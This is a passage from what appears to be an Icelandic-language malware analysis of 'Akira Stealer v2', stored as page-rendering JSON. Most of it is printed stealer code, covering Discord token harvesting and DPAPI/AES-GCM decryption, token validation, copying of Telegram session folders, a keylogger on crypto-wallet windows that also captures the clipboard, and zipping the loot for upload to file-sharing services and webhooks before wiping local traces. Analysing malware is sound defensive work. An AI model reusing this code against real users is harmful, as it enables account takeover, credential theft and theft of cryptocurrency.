json=payload)\n",[578,8132,8133,8138,8143,8148,8153,8157,8162,8167,8172,8177,8182,8187,8192,8197,8202,8207,8212,8217,8222],{"__ignoreMap":529},[1712,8134,8135],{"class":1714,"line":1715},[1712,8136,8137],{},"import re, requests\n",[1712,8139,8140],{"class":1714,"line":530},[1712,8141,8142],{},"patterns = [\n",[1712,8144,8145],{"class":1714,"line":2096},[1712,8146,8147],{},"    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n",[1712,8149,8150],{"class":1714,"line":2102},[1712,8151,8152],{},"    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n",[1712,8154,8155],{"class":1714,"line":2424},[1712,8156,7938],{},[1712,8158,8159],{"class":1714,"line":2430},[1712,8160,8161],{},"def harvest_discord(base, webhook_url):\n",[1712,8163,8164],{"class":1714,"line":3086},[1712,8165,8166],{},"    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n",[1712,8168,8169],{"class":1714,"line":3881},[1712,8170,8171],{},"    for file in os.listdir(db_dir):\n",[1712,8173,8174],{"class":1714,"line":3887},[1712,8175,8176],{},"        if file.endswith(('.log', '.ldb')):\n",[1712,8178,8179],{"class":1714,"line":4132},[1712,8180,8181],{},"            for line in open(os.path.join(db_dir, file), errors='ignore'):\n",[1712,8183,8184],{"class":1714,"line":5049},[1712,8185,8186],{},"                for pat in patterns:\n",[1712,8188,8189],{"class":1714,"line":5055},[1712,8190,8191],{},"                    for token in re.findall(pat, line):\n",[1712,8193,8194],{"class":1714,"line":5061},[1712,8195,8196],{},"                        # Verify token\n",[1712,8198,8199],{"class":1714,"line":5067},[1712,8200,8201],{},"                        h = {\"Authorization\": token}\n",[1712,8203,8204],{"class":1714,"line":5073},[1712,8205,8206],{},"                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n",[1712,8208,8209],{"class":1714,"line":5079},[1712,8210,8211],{},"                        if r.status_code == 200:\n",[1712,8213,8214],{"class":1714,"line":5085},[1712,8215,8216],{},"                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n",[1712,8218,8219],{"class":1714,"line":5091},[1712,8220,8221],{},"                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n",[1712,8223,8224],{"class":1714,"line":5097},[1712,8225,8226],{},"                            requests.post(webhook_url, json=payload)\n",[630,8228,8229],{},[633,8230,8231,8234],{},[567,8232,8233],{},"Staðfesting",": birtir aðeins gild tokens, sem hindrar að útrunnin JWT séu send.",[888,8236,8238],{"id":8237},"_784-setuskrár-telegram","7.8.4 Setuskrár Telegram",[525,8240,894],{},[525,8242,8243,8245],{},[567,8244,7862],{}," Telegram Desktop/TData",[615,8247,8249],{"className":4516,"code":8248,"language":4518,"meta":529,"style":529},"def steal_telegram(tdata_path, dest_root):\n    if os.path.exists(tdata_path):\n        Utils.TaskKill(\"telegram.exe\")\n        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n        data.has_telegram = True\n",[578,8250,8251,8256,8261,8266,8271,8276],{"__ignoreMap":529},[1712,8252,8253],{"class":1714,"line":1715},[1712,8254,8255],{},"def steal_telegram(tdata_path, dest_root):\n",[1712,8257,8258],{"class":1714,"line":530},[1712,8259,8260],{},"    if os.path.exists(tdata_path):\n",[1712,8262,8263],{"class":1714,"line":2096},[1712,8264,8265],{},"        Utils.TaskKill(\"telegram.exe\")\n",[1712,8267,8268],{"class":1714,"line":2102},[1712,8269,8270],{},"        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n",[1712,8272,8273],{"class":1714,"line":2424},[1712,8274,8275],{},"        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n",[1712,8277,8278],{"class":1714,"line":2430},[1712,8279,8280],{},"        data.has_telegram = True\n",[630,8282,8283,8296],{},[633,8284,8285,998,8288,8291,8292,8295],{},[567,8286,8287],{},"Skrár",[578,8289,8290],{},"tdata","-mappa sem inniheldur setulykla, ",[578,8293,8294],{},"D877F...","-mappa með secret- og unsecret-skrám.",[633,8297,8298,8301],{},[567,8299,8300],{},"Notkun",": hlaðið inn í Telegram-klient árásaraðilans til að fá fullan aðgang að reikningnum.",[888,8303,8305],{"id":8304},"_785-lifandi-keylogging-á-veskjum","7.8.5 Lifandi keylogging á veskjum",[525,8307,894],{},[525,8309,8310],{},"Kryptógjaldmiðlaveski eru helstu skotmörk nútíma infostealers. Akira hefur lifandi keylogger sem er sérhannaður til að stela credentials veskja, svo sem seed-frösum, einkalyklum og lykilorðum, á því augnabliki sem þau eru slegin inn. Ólíkt almennum keyloggers virkjast þessi aðeins þegar þekktur veskjagluggi finnst, sem minnkar klið verulega og aukur skilvirkni.",[525,8312,8313],{},"Einingin vaktar titla á virkum gluggum og ber þá við harðkóðaðan lista vinsælla veskjaforrita eins og MetaMask, Phantom, Atomic Wallet og fleiri. Þegar gluggi sem passar er í forgrunni byrjar hún að skrá ásláttinn með lyklaborðshookum sem virka á öllu kerfinu. Þegar notandinn ýtir á Enter fangar einingin samstundis innihald klippiborðsins, því hún gerir ráð fyrir að notendur afriti oft leyndarmál við uppsetningu eða innskráningu í veski, og sendir bæði innslegna textann og klippiborðsgögnin á webhook árásaraðilans. Þessi aðferð er afar áhrifarík því hún sameinar tvær árásarleiðir:",[630,8315,8316,8319],{},[633,8317,8318],{},"Keylogging sem tekur mið af samhengi og fangar aðeins viðkvæmt inntak í veskjum þegar það á við.",[633,8320,8321],{},"Yfirtöku klippiborðsins, til að draga út afritaða endurheimtufrasa eða áfangaheimilisföng áður en þeim er límt inn.",[525,8323,8324],{},"Samanlagt gera þessar aðferðir árásaraðilum kleift að kompromítera veski hljóðlega í rauntíma, jafnvel án aðgangs að browsernum eða exfiltration skráa.",[615,8326,8328],{"className":4516,"code":8327,"language":4518,"meta":529,"style":529},"import keyboard, pyperclip\n\nclass WalletKeylogger:\n    def __init__(self, wallet_titles):\n        self.buf = \"\"\n        keyboard.on_release(self.capture)\n        self.wallet_titles = wallet_titles\n\n    def capture(self, event):\n        title = pygetwindow.getActiveWindow().title\n        if any(w in title for w in self.wallet_titles):\n            if event.name == 'enter':\n                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n                send_to_webhook(data)\n                self.buf = \"\"\n            else:\n                self.buf += event.name\n",[578,8329,8330,8335,8339,8344,8349,8354,8359,8364,8368,8373,8378,8383,8388,8393,8398,8403,8408],{"__ignoreMap":529},[1712,8331,8332],{"class":1714,"line":1715},[1712,8333,8334],{},"import keyboard, pyperclip\n",[1712,8336,8337],{"class":1714,"line":530},[1712,8338,3878],{"emptyLinePlaceholder":325},[1712,8340,8341],{"class":1714,"line":2096},[1712,8342,8343],{},"class WalletKeylogger:\n",[1712,8345,8346],{"class":1714,"line":2102},[1712,8347,8348],{},"    def __init__(self, wallet_titles):\n",[1712,8350,8351],{"class":1714,"line":2424},[1712,8352,8353],{},"        self.buf = \"\"\n",[1712,8355,8356],{"class":1714,"line":2430},[1712,8357,8358],{},"        keyboard.on_release(self.capture)\n",[1712,8360,8361],{"class":1714,"line":3086},[1712,8362,8363],{},"        self.wallet_titles = wallet_titles\n",[1712,8365,8366],{"class":1714,"line":3881},[1712,8367,3878],{"emptyLinePlaceholder":325},[1712,8369,8370],{"class":1714,"line":3887},[1712,8371,8372],{},"    def capture(self, event):\n",[1712,8374,8375],{"class":1714,"line":4132},[1712,8376,8377],{},"        title = pygetwindow.getActiveWindow().title\n",[1712,8379,8380],{"class":1714,"line":5049},[1712,8381,8382],{},"        if any(w in title for w in self.wallet_titles):\n",[1712,8384,8385],{"class":1714,"line":5055},[1712,8386,8387],{},"            if event.name == 'enter':\n",[1712,8389,8390],{"class":1714,"line":5061},[1712,8391,8392],{},"                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n",[1712,8394,8395],{"class":1714,"line":5067},[1712,8396,8397],{},"                send_to_webhook(data)\n",[1712,8399,8400],{"class":1714,"line":5073},[1712,8401,8402],{},"                self.buf = \"\"\n",[1712,8404,8405],{"class":1714,"line":5079},[1712,8406,8407],{},"            else:\n",[1712,8409,8410],{"class":1714,"line":5085},[1712,8411,8412],{},"                self.buf += event.name\n",[630,8414,8415,8421],{},[633,8416,8417,8420],{},[567,8418,8419],{},"Kveikjulisti",": titlar glugga sem innihalda „MetaMask\", „Phantom\", „Atomic Wallet\" og fleiri.",[633,8422,8423,8426],{},[567,8424,8425],{},"Klippiborð",": fangar afritaða seed-frasa eða einkalykla.",[888,8428,8430],{"id":8429},"_786-pökkun-og-exfiltration","7.8.6 Pökkun og exfiltration",[525,8432,894],{},[525,8434,8435],{},"Eftir að hafa safnað browsergögnum, credentials, veskjaupplýsingum og tokens heldur Akira áfram og sameinar og exfiltrerar þýfið með mjög sjálfvirkum og hljóðlátum hætti. Þetta þrep er síðasta skrefið í sýkingarkeðjunni og er fínstillt fyrir áreiðanleika og lágmarks forensic-fótspor. Fyrst eru öll söfnuð gögn, þar á meðal browser-dumpar, loggar og veskjaupplýsingar úr keyloggernum, þjappuð í ZIP-safnskrá. Það tryggir að allt gagnasafnið megi flytja sem einn payload. Safnskránni er svo hlaðið upp á margar opinberar skráadeilingarþjónustur eins og GoFile, File.io eða Oshi.at, eftir því hvað er aðgengilegt. Þessir pallar bjóða nafnlausa og skammlífa hýsingu og eru oft notaðir til að komast fram hjá eldveggjum fyrirtækja eða blokkun sem byggir á orðspori. Samhliða er skipulögð skýrsla búin til og send árásaraðilanum með Discord- eða Telegram-webhook. Hún inniheldur samantektartölur, hve mörg veski fundust, hve mörg tokens voru gild, og beinan hlekk á stolnu gögnin. Það gefur árásaraðilum fljótt yfirlit yfir verðmæti skotmarksins án þess að opna safnskrána.",[525,8437,8438],{},"Að lokum eyðir malware-ið tímabundnu möppunni og safnskránni af diski, og fjarlægir þannig í reynd staðbundnar forensic-sannanir. Þegar þeir sem verjast koma auga á sýkinguna eru gögnin þegar farin, og oft óafturkræf.",[615,8440,8442],{"className":4516,"code":8441,"language":4518,"meta":529,"style":529},"# 1) ZIP everything (including Wallets folder)\nzip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n# 2) Attempt upload to primary & fallback services\nurl = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n# 3) Report summary\nembed = {\n    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n    \"fields\": [\n        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n    ]\n}\nWebhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n# 4) Cleanup local folder & ZIP\nUtils.clear_client_folder()\n",[578,8443,8444,8449,8454,8459,8464,8469,8474,8479,8484,8489,8494,8499,8504,8509,8514,8518,8523,8528],{"__ignoreMap":529},[1712,8445,8446],{"class":1714,"line":1715},[1712,8447,8448],{},"# 1) ZIP everything (including Wallets folder)\n",[1712,8450,8451],{"class":1714,"line":530},[1712,8452,8453],{},"zip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n",[1712,8455,8456],{"class":1714,"line":2096},[1712,8457,8458],{},"# 2) Attempt upload to primary & fallback services\n",[1712,8460,8461],{"class":1714,"line":2102},[1712,8462,8463],{},"url = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1712,8465,8466],{"class":1714,"line":2424},[1712,8467,8468],{},"# 3) Report summary\n",[1712,8470,8471],{"class":1714,"line":2430},[1712,8472,8473],{},"embed = {\n",[1712,8475,8476],{"class":1714,"line":3086},[1712,8477,8478],{},"    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n",[1712,8480,8481],{"class":1714,"line":3881},[1712,8482,8483],{},"    \"fields\": [\n",[1712,8485,8486],{"class":1714,"line":3887},[1712,8487,8488],{},"        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n",[1712,8490,8491],{"class":1714,"line":4132},[1712,8492,8493],{},"        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n",[1712,8495,8496],{"class":1714,"line":5049},[1712,8497,8498],{},"        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n",[1712,8500,8501],{"class":1714,"line":5055},[1712,8502,8503],{},"        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n",[1712,8505,8506],{"class":1714,"line":5061},[1712,8507,8508],{},"        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n",[1712,8510,8511],{"class":1714,"line":5067},[1712,8512,8513],{},"    ]\n",[1712,8515,8516],{"class":1714,"line":5073},[1712,8517,2433],{},[1712,8519,8520],{"class":1714,"line":5079},[1712,8521,8522],{},"Webhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n",[1712,8524,8525],{"class":1714,"line":5085},[1712,8526,8527],{},"# 4) Cleanup local folder & ZIP\n",[1712,8529,8530],{"class":1714,"line":5091},[1712,8531,7713],{},[740,8533,8535,8536,1138],{"id":8534},"_79-þjófnaður-discord-og-telegram-tokens-klasi-discord","7.9. Þjófnaður Discord- og Telegram-tokens (klasi: ",[578,8537,1343],{},[525,8539,746],{},[525,8541,8542,8544],{},[567,8543,1343],{},"-klasinn í Akira Stealer v2 keyrir mjög samhliða fjölþrepa ferli til að safna bæði Discord-authorization-tokens og Telegram-setugögnum. Hér fyrir neðan tökum við hvern hluta í sundur með nákvæmum kóðatilvísunum og lýsandi dæmum.",[888,8546,8548],{"id":8547},"_791-frumstilling-og-upptalning-slóða","7.9.1 Frumstilling og upptalning slóða",[525,8550,894],{},[525,8552,8553],{},"Þegar tilvik er búið til byggir smiðurinn tvö söfn markslóða:",[615,8555,8557],{"className":4516,"code":8556,"language":4518,"meta":529,"style":529},"# Discord client LevelDB directories\ndiscord_paths = [\n    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n    ...\n]\n\n# Chromium-based browser LevelDB directories\nbrowserPaths = [\n    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n    ...\n]\n",[578,8558,8559,8564,8569,8574,8579,8583,8587,8591,8596,8601,8606,8611,8615],{"__ignoreMap":529},[1712,8560,8561],{"class":1714,"line":1715},[1712,8562,8563],{},"# Discord client LevelDB directories\n",[1712,8565,8566],{"class":1714,"line":530},[1712,8567,8568],{},"discord_paths = [\n",[1712,8570,8571],{"class":1714,"line":2096},[1712,8572,8573],{},"    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n",[1712,8575,8576],{"class":1714,"line":2102},[1712,8577,8578],{},"    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n",[1712,8580,8581],{"class":1714,"line":2424},[1712,8582,3868],{},[1712,8584,8585],{"class":1714,"line":2430},[1712,8586,7938],{},[1712,8588,8589],{"class":1714,"line":3086},[1712,8590,3878],{"emptyLinePlaceholder":325},[1712,8592,8593],{"class":1714,"line":3881},[1712,8594,8595],{},"# Chromium-based browser LevelDB directories\n",[1712,8597,8598],{"class":1714,"line":3887},[1712,8599,8600],{},"browserPaths = [\n",[1712,8602,8603],{"class":1714,"line":4132},[1712,8604,8605],{},"    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n",[1712,8607,8608],{"class":1714,"line":5049},[1712,8609,8610],{},"    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n",[1712,8612,8613],{"class":1714,"line":5055},[1712,8614,3868],{},[1712,8616,8617],{"class":1714,"line":5061},[1712,8618,7938],{},[630,8620,8621,8630],{},[633,8622,8623,8626,8627,613],{},[567,8624,8625],{},"Discord-slóðir"," beinast að opinberum og óopinberum Discord-klientum undir ",[578,8628,8629],{},"%APPDATA%",[633,8631,8632,8635],{},[567,8633,8634],{},"Browser-slóðir"," nái yfir notandagagnamöppur vinsælla browsers, þar á meðal undirmöppur fyrir local storage og extensions.",[525,8637,8638],{},"Þráðum er ræst fyrir hverja færslu:",[615,8640,8642],{"className":4516,"code":8641,"language":4518,"meta":529,"style":529},"for patt in browserPaths:\n    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n    t.start()\nfor patt in discord_paths:\n    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n    t.start()\n",[578,8643,8644,8649,8654,8659,8664,8669],{"__ignoreMap":529},[1712,8645,8646],{"class":1714,"line":1715},[1712,8647,8648],{},"for patt in browserPaths:\n",[1712,8650,8651],{"class":1714,"line":530},[1712,8652,8653],{},"    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n",[1712,8655,8656],{"class":1714,"line":2096},[1712,8657,8658],{},"    t.start()\n",[1712,8660,8661],{"class":1714,"line":2102},[1712,8662,8663],{},"for patt in discord_paths:\n",[1712,8665,8666],{"class":1714,"line":2424},[1712,8667,8668],{},"    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n",[1712,8670,8671],{"class":1714,"line":2430},[1712,8672,8658],{},[525,8674,8675],{},"Þetta þráðamódel hámarkar I/O-afköst og prófar tugi mappa samhliða.",[888,8677,8679],{"id":8678},"_792-rökvísi-útdráttar-tokens","7.9.2 Rökvísi útdráttar tokens",[525,8681,894],{},[525,8683,8684],{},[567,8685,8686],{},"Söfnun tokens í plaintext úr browsers",[525,8688,8689,8692,8693,8696,8697,8700],{},[578,8690,8691],{},"get_btoken(path, arg)"," fer í hverja LevelDB-möppu og skoðar ",[578,8694,8695],{},".log","- og ",[578,8698,8699],{},".ldb","-skrár:",[615,8702,8704],{"className":4516,"code":8703,"language":4518,"meta":529,"style":529},"for file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n                tokens = re.findall(regex, line)\n                for token in tokens:\n                    self.tokens.append(token)\n                    self.cehckToken(token)\n",[578,8705,8706,8711,8716,8721,8726,8731,8736,8741],{"__ignoreMap":529},[1712,8707,8708],{"class":1714,"line":1715},[1712,8709,8710],{},"for file in os.listdir(path + arg):\n",[1712,8712,8713],{"class":1714,"line":530},[1712,8714,8715],{},"    if file.endswith((\".log\", \".ldb\")):\n",[1712,8717,8718],{"class":1714,"line":2096},[1712,8719,8720],{},"        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n",[1712,8722,8723],{"class":1714,"line":2102},[1712,8724,8725],{},"            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n",[1712,8727,8728],{"class":1714,"line":2424},[1712,8729,8730],{},"                tokens = re.findall(regex, line)\n",[1712,8732,8733],{"class":1714,"line":2430},[1712,8734,8735],{},"                for token in tokens:\n",[1712,8737,8738],{"class":1714,"line":3086},[1712,8739,8740],{},"                    self.tokens.append(token)\n",[1712,8742,8743],{"class":1714,"line":3881},[1712,8744,8745],{},"                    self.cehckToken(token)\n",[630,8747,8748,8757,8765],{},[633,8749,8750,8756],{},[567,8751,8752,8753],{},"Regluleg segð ",[578,8754,8755],{},"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}"," passar við venjuleg Discord-tokens.",[633,8758,8759,8764],{},[567,8760,8752,8761],{},[578,8762,8763],{},"mfa\\.[\\w-]{80,95}"," fangar MFA-tokens.",[633,8766,8767,8768,8771],{},"Afföllun er óbein: tokens eru vistuð í ",[578,8769,8770],{},"self.tokens"," áður en þau eru staðfest.",[525,8773,8774],{},[567,8775,8776],{},"Afkóðun dulkóðaðra tokens í Discord-klientinum",[525,8778,8779,8780,8782,8783,8785,8786,8789],{},"Klient Discord dulkóðar Local Storage-færslur með DPAPI, með ",[578,8781,6520],{}," eða ",[578,8784,6524],{}," sem forskeyti. ",[578,8787,8788],{},"get_discord(path, arg)"," tekur á því:",[615,8791,8793],{"className":4516,"code":8792,"language":4518,"meta":529,"style":529},"# Read Local State to obtain encrypted master key\nwith open(path + \"/Local State\", 'r') as f:\n    local_state = json.load(f)\nencrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\nmaster_key = self.CryptUnprotectData(encrypted_key)\n\n# Iterate LevelDB files for Base64 payloads\nfor file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\"):\n            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n                ciphertext = b64decode(token_part)\n                token = self.decrypt_value(ciphertext, master_key)\n                self.tokens.append(token)\n                self.cehckToken(token)\n",[578,8794,8795,8800,8805,8809,8814,8819,8823,8828,8832,8836,8841,8846,8851,8856,8861],{"__ignoreMap":529},[1712,8796,8797],{"class":1714,"line":1715},[1712,8798,8799],{},"# Read Local State to obtain encrypted master key\n",[1712,8801,8802],{"class":1714,"line":530},[1712,8803,8804],{},"with open(path + \"/Local State\", 'r') as f:\n",[1712,8806,8807],{"class":1714,"line":2096},[1712,8808,7114],{},[1712,8810,8811],{"class":1714,"line":2102},[1712,8812,8813],{},"encrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\n",[1712,8815,8816],{"class":1714,"line":2424},[1712,8817,8818],{},"master_key = self.CryptUnprotectData(encrypted_key)\n",[1712,8820,8821],{"class":1714,"line":2430},[1712,8822,3878],{"emptyLinePlaceholder":325},[1712,8824,8825],{"class":1714,"line":3086},[1712,8826,8827],{},"# Iterate LevelDB files for Base64 payloads\n",[1712,8829,8830],{"class":1714,"line":3881},[1712,8831,8710],{},[1712,8833,8834],{"class":1714,"line":3887},[1712,8835,8715],{},[1712,8837,8838],{"class":1714,"line":4132},[1712,8839,8840],{},"        for line in open(f\"{path}{arg}/{file}\"):\n",[1712,8842,8843],{"class":1714,"line":5049},[1712,8844,8845],{},"            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n",[1712,8847,8848],{"class":1714,"line":5055},[1712,8849,8850],{},"                ciphertext = b64decode(token_part)\n",[1712,8852,8853],{"class":1714,"line":5061},[1712,8854,8855],{},"                token = self.decrypt_value(ciphertext, master_key)\n",[1712,8857,8858],{"class":1714,"line":5067},[1712,8859,8860],{},"                self.tokens.append(token)\n",[1712,8862,8863],{"class":1714,"line":5073},[1712,8864,8865],{},"                self.cehckToken(token)\n",[630,8867,8868,8877],{},[633,8869,8870,8873,8874,8876],{},[567,8871,8872],{},"Endurheimt meginlykils",": fjarlægir 5-bæta DPAPI-hausinn og kallar svo á ",[578,8875,7180],{}," (sem pakkar Windows DPAPI) til að afkóða AES-GCM-lykilinn.",[633,8878,8879,8882,8883,8886,8887,8890,8891],{},[567,8880,8881],{},"Úrvinnsla payloads",": tokens hafa ",[578,8884,8885],{},"dQw4w9WgXcQ:"," sem forskeyti (merki sem árásaraðilinn valdi). Eftir Base64-afkóðun klýfur ",[578,8888,8889],{},"decrypt_value()"," IV og dulmálstexta:",[615,8892,8894],{"className":4516,"code":8893,"language":4518,"meta":529,"style":529},"def decrypt\\_value(buff, master\\_key):\niv = buff\\[3:15]\npayload = buff\\[15:]\ncipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\nreturn cipher.decrypt(payload)\\[:-16].decode()\n",[578,8895,8896,8901,8906,8911,8916],{"__ignoreMap":529},[1712,8897,8898],{"class":1714,"line":1715},[1712,8899,8900],{},"def decrypt\\_value(buff, master\\_key):\n",[1712,8902,8903],{"class":1714,"line":530},[1712,8904,8905],{},"iv = buff\\[3:15]\n",[1712,8907,8908],{"class":1714,"line":2096},[1712,8909,8910],{},"payload = buff\\[15:]\n",[1712,8912,8913],{"class":1714,"line":2102},[1712,8914,8915],{},"cipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\n",[1712,8917,8918],{"class":1714,"line":2424},[1712,8919,8920],{},"return cipher.decrypt(payload)\\[:-16].decode()\n",[888,8922,8924],{"id":8923},"_793-staðfesting-og-exfiltration-tokens","7.9.3 Staðfesting og exfiltration tokens",[525,8926,894],{},[525,8928,8929],{},"Hvert token sem dregið er út er staðfest með lifandi API-kalli:",[615,8931,8934],{"className":8932,"code":8933,"language":620},[618],"headers = {\"Authorization\": token}\nresp = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=headers)\nif resp.status_code == 200:\n    self.cehckToken(token)\n",[578,8935,8933],{"__ignoreMap":529},[630,8937,8938],{},[633,8939,8940,8943,8944,8947,8948,8951,8952],{},[567,8941,8942],{},"Ef það gengur upp"," ákvarðar ",[578,8945,8946],{},"cehckToken()"," hvort sent skuli með Telegram (",[578,8949,8950],{},"useTg=True",") eða Discord-webhook:",[615,8953,8955],{"className":4516,"code":8954,"language":4518,"meta":529,"style":529},"if useTg:\nself.sendTokenTg(token)\nelse:\nself.send\\_embed(token)\n",[578,8956,8957,8962,8967,8972],{"__ignoreMap":529},[1712,8958,8959],{"class":1714,"line":1715},[1712,8960,8961],{},"if useTg:\n",[1712,8963,8964],{"class":1714,"line":530},[1712,8965,8966],{},"self.sendTokenTg(token)\n",[1712,8968,8969],{"class":1714,"line":2096},[1712,8970,8971],{},"else:\n",[1712,8973,8974],{"class":1714,"line":2102},[1712,8975,8976],{},"self.send\\_embed(token)\n",[630,8978,8979],{},[633,8980,8981,8986],{},[567,8982,8983],{},[578,8984,8985],{},"send_embed"," býr til ríkt Discord-embed sem inniheldur lýsigögn notandans (notandanafn, discriminator, tölvupóst, Nitro-stöðu, greiðsluupplýsingar) með svæðum úr",[615,8988,8991],{"className":8989,"code":8990,"language":620},[618],"user_json = requests.get(...).json()\nusername = user_json[\"username\"]\nid = user_json[\"id\"]\n# embed fields: token, email, phone, IP, flags, Nitro, billing\n",[578,8992,8990],{"__ignoreMap":529},[630,8994,8995],{},[633,8996,8997,9002],{},[567,8998,8999],{},[578,9000,9001],{},"sendTokenTg"," sendir samantekt í plaintext yfir Telegram-API.",[888,9004,9006],{"id":9005},"_794-söfnun-telegram-seta","7.9.4 Söfnun Telegram-seta",[525,9008,894],{},[525,9010,9011],{},"Umfram Discord-tokens grípur stealerinn Telegram Desktop-setur:",[615,9013,9015],{"className":4516,"code":9014,"language":4518,"meta":529,"style":529},"@staticmethod\ndef steal_telegram():\n    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n    Utils.TaskKill(\"telegram.exe\")\n    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[578,9016,9017,9021,9026,9031,9036],{"__ignoreMap":529},[1712,9018,9019],{"class":1714,"line":1715},[1712,9020,5001],{},[1712,9022,9023],{"class":1714,"line":530},[1712,9024,9025],{},"def steal_telegram():\n",[1712,9027,9028],{"class":1714,"line":2096},[1712,9029,9030],{},"    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n",[1712,9032,9033],{"class":1714,"line":2102},[1712,9034,9035],{},"    Utils.TaskKill(\"telegram.exe\")\n",[1712,9037,9038],{"class":1714,"line":2424},[1712,9039,9040],{},"    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[630,9042,9043,9049,9058],{},[633,9044,9045,9048],{},[567,9046,9047],{},"Stöðvun ferla",": tryggir að skráalæsingum sé sleppt.",[633,9050,9051,9054,9055,9057],{},[567,9052,9053],{},"Endurkvæm afritun",": stelur ",[578,9056,8290],{},"-möppunni, þar á meðal notandasetum, tengiliðum og skeytum í skyndiminni.",[633,9059,9060,9062,9063,9066],{},[567,9061,1359],{},": stolnu möppunni er pakkað og hlaðið upp með ",[578,9064,9065],{},"sendFilesTG()",", með niðurhalshlekknum innbyggðum í Telegram-skeyti.",[525,9068,9069,9071],{},[578,9070,1343],{},"-eining Akira Stealer sameinar söfnun með reglulegum segðum, AES-GCM-afkóðun með stuðningi DPAPI, staðfestingu með lifandi API og exfiltration yfir margar samskiptareglur (webhook og Telegram) til að skila hnökralausri getu til að yfirtaka reikninga á báðum pöllunum, Discord og Telegram.",[740,9073,9075],{"id":9074},"_710-kerfisgreining","7.10 Kerfisgreining",[525,9077,746],{},[525,9079,9080,9081,9084],{},"Akira Stealer v2 hefur umfangsmikinn greiningarfasa á kerfinu til að safna lýsigögnum hostsins, einkennum umhverfisins og netupplýsingum. Þessum upplýsingum er safnað í ",[578,9082,9083],{},"Data","-klasann og þær síðar pakkaðar með exfiltreruðum credentials. Hér fyrir neðan tökum við greiningarrökvísina í sundur með beinum kóðatilvísunum.",[888,9086,9088,9089,9091],{"id":9087},"_7101-frumstilling-data-klasans","7.10.1 Frumstilling ",[578,9090,9083],{},"-klasans",[525,9093,894],{},[525,9095,9096,9097,9099],{},"Við ræsingu er tilvik af ",[578,9098,9083],{}," búið til:",[615,9101,9103],{"className":4516,"code":9102,"language":4518,"meta":529,"style":529},"class Data:\n    def __init__(self):\n        self.username = os.getlogin()\n        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n        ...\n        self.ip = 